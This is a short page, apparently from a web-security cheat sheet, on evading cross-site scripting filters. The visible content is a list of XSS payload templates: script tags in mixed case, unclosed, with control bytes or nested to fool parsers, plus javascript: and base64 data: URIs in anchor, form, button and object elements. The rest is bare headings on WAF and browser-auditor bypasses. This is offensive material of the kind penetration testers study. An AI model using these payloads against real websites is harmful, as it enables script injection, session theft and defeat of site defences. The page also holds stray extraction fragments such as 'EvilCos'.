Filter Evasion
Common Techniques
Script tag
Weak tag parsing bypass
<ScRiPt>...</sCrIpT>
<ScRiPt>... #unclosed tags
<script/[gibberish]>...<script>
<script [\n\r\t]>...</script>
<script [\x00 \x0D \x0A]>... </script [\x00 \x0D \x0A]>
<scr<script>ipt>...</scr<script>ipt>Common alternative tags
<a href="javascript:[code]">show</a>
<a href="data:text/html;base64,[base64 payload]">show</a>
<form action="javascript:[code]><button>Click me</button></form>
<form id="f1"></form><button form="x" formaction="javascript:[code]">Click me</button>
<object data="javascript:[code]">
<object data="text/html:<script>[code]</script>">
<object data="data:text/html;base64,[base64 payload]">EvilCos
Events
Common HTML 4
Common HTML 5
Filter Bypass
Keywords
Bypass by encoding
Bypass by constructing strings
Alternatives function sinks
Sanification Bypass
Remove tags
Escape quotes
Escape parenthesis
WAF Bypass
Google Chrome Payloads
Google XSS Audit Bypass
Chrome < v60 beta XSS-Auditor Bypass
Other Google Audit Bypass Payloads
Safari
Kona WAF (Akamai) Bypass
Wordfence
Incapsula WAF
Last updated